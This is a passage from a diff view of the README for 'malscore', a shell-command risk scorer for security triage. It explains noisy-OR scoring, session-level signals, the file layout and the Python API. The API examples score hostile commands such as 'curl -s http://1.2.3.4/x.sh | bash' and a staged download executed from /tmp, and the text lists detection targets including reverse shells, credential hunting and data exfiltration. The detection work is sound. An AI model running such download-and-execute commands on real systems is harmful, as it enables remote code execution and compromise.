|
|
184
|
+
bombs, miners, `DROP TABLE`, mass process kills.
|
|
185
|
+
|
|
186
|
+
The generic sensitive-data rules (card/SSN patterns, database dumps, table
|
|
187
|
+
names such as `card`, `token`, `customer`) ship on by default; tune the
|
|
188
|
+
`SENSITIVE_TABLE_RE` vocabulary in `malscore/tradecraft.py` for your own data.
|
|
189
|
+
3. **Aggregation (noisy‑OR).** Weights combine as `1 − ∏(1 − wᵢ)`, so many weak
|
|
190
|
+
signals accumulate but never overflow and one strong signal dominates.
|
|
191
|
+
Redundant signals that share a tactic are damped, so tripping three
|
|
192
|
+
persistence checks is not counted as three independent findings.
|
|
193
|
+
4. **Sessions.** Each command in a session is scored as above (its
|
|
194
|
+
contribution capped at 0.9, so one noisy command does not make a long session
|
|
195
|
+
critical), and then **cross‑command** signals look for patterns no single
|
|
196
|
+
command shows — a file downloaded early and run later, data staged (dumped,
|
|
197
|
+
archived or compressed) and later `scp`‑ed away, credential access after a
|
|
198
|
+
privilege escalation, an upload after credential access, staged data deleted
|
|
199
|
+
once sent, download plus persistence, activity followed by history/log
|
|
200
|
+
clearing, or activity spanning three or more tactics.
|
|
201
|
+
|
|
202
|
+
### Why a static score is not the whole story
|
|
203
|
+
|
|
204
|
+
A static score measures *what a command intrinsically does*. It cannot know that
|
|
205
|
+
`curl … | bash` is fine on a build box and an incident on a ledger database —
|
|
206
|
+
that is a **behavioural** judgement relative to a user/host baseline, which is
|
|
207
|
+
what a downstream anomaly model (e.g. an Isolation Forest over per-user
|
|
208
|
+
history) is for. Activity the static scorer rates low (e.g. data staging spread
|
|
209
|
+
across a session) is exactly what an anomaly layer exists to catch — and
|
|
210
|
+
session scoring recovers much of it once the commands are scored together.
|
|
211
|
+
|
|
212
|
+
The intended production shape is a hybrid:
|
|
213
|
+
|
|
214
|
+
```
|
|
215
|
+
command / session
|
|
216
|
+
│
|
|
217
|
+
┌───────────────┼────────────────┐
|
|
218
|
+
▼ ▼ ▼
|
|
219
|
+
malscore behavioural deterministic
|
|
220
|
+
(static risk) anomaly model rules
|
|
221
|
+
└───────────────┼────────────────┘
|
|
222
|
+
▼
|
|
223
|
+
risk / triage
|
|
224
|
+
```
|
|
225
|
+
|
|
226
|
+
---
|
|
227
|
+
|
|
228
|
+
## Documentation
|
|
229
|
+
|
|
230
|
+
- [docs/usage.md](docs/usage.md) — full CLI reference and the Python API
|
|
231
|
+
- [docs/signals.md](docs/signals.md) — every signal, its weight, tactic and techniques
|
|
232
|
+
- [docs/architecture.md](docs/architecture.md) — the pipeline, safety guarantee, and how to extend it
|
|
233
|
+
- [CHANGELOG.md](CHANGELOG.md) · [CONTRIBUTING.md](CONTRIBUTING.md)
|
|
234
|
+
|
|
235
|
+
---
|
|
236
|
+
|
|
237
|
+
## Layout
|
|
238
|
+
|
|
239
|
+
| file | role |
|
|
240
|
+
| --- | --- |
|
|
241
|
+
| `malscore/lexer.py` | non-executing shell lexer |
|
|
242
|
+
| `malscore/context.py` | resolves executables, payloads, paths, URLs, IPs, ports |
|
|
243
|
+
| `malscore/features.py` | generic feature groups (network, paths, persistence, …) |
|
|
244
|
+
| `malscore/tradecraft.py` | technique-specific features (reverse shells, credential hunting, …) |
|
|
245
|
+
| `malscore/signals.py` | weighted, MITRE-mapped signal catalogue |
|
|
246
|
+
| `malscore/scoring.py` | noisy-OR scoring and cross-command session analysis |
|
|
247
|
+
| `malscore/cli.py` | command-line interface (`malscore` / `python -m malscore`) |
|
|
248
|
+
|
|
249
|
+
---
|
|
250
|
+
|
|
251
|
+
## Python API
|
|
252
|
+
|
|
253
|
+
```python
|
|
254
|
+
from malscore import Analyzer
|
|
255
|
+
|
|
256
|
+
a = Analyzer()
|
|
257
|
+
r = a.assess_command("curl -s http://1.2.3.4/x.sh | bash")
|
|
258
|
+
print(r.score, r.verdict) # 67 high
|
|
259
|
+
print([h.id for h in r.hits]) # ['download_pipe_interpreter', 'raw_ip_url', ...]
|
|
260
|
+
print(r.techniques) # ['T1059.004', 'T1105', 'T1071.001']
|
|
261
|
+
|
|
262
|
+
r = a.assess_session(["curl -o /tmp/p http://1.2.3.4/p", "/tmp/p"])
|
|
263
|
+
print(r.score, [h.id for h in r.hits]) # 75 ['staged_download_execution', ...]
|
|
264
|
+
print([c.score for c in r.per_command]) # each command's own assessment
|
|
265
|
+
print(r.as_dict()) # JSON-ready
|
|
266
|
+
```
|
|
267
|
+
|
|
268
|
+
`Analyzer(redact=True)` redacts credential-looking values before any command
|
|
269
|
+
text is echoed back; scores are unaffected.
|
|
270
|
+
|
|
271
|
+
---
|
|
272
|
+
|
|
273
|
+
## Extending the scorer
|
|
274
|
+
|
|
275
|
+
* **New technique detection** → add a feature to `malscore/tradecraft.py`
|
|
276
|
+
(grouped by ATT&CK tactic) and return it from one of the group functions, or
|
|
277
|
+
to a generic group in `malscore/features.py`.
|
|
278
|
+
* **New weighting** → add a `Signal` to `malscore/signals.py` with a
|
|
279
|
+
weight, tactic and technique ids. No other file needs to change.
|
|
280
|
+
|
|
281
|
+
Tune weights against your own traffic before trusting the absolute numbers; the
|
|
282
|
+
*ranking* is more portable than the exact score.
|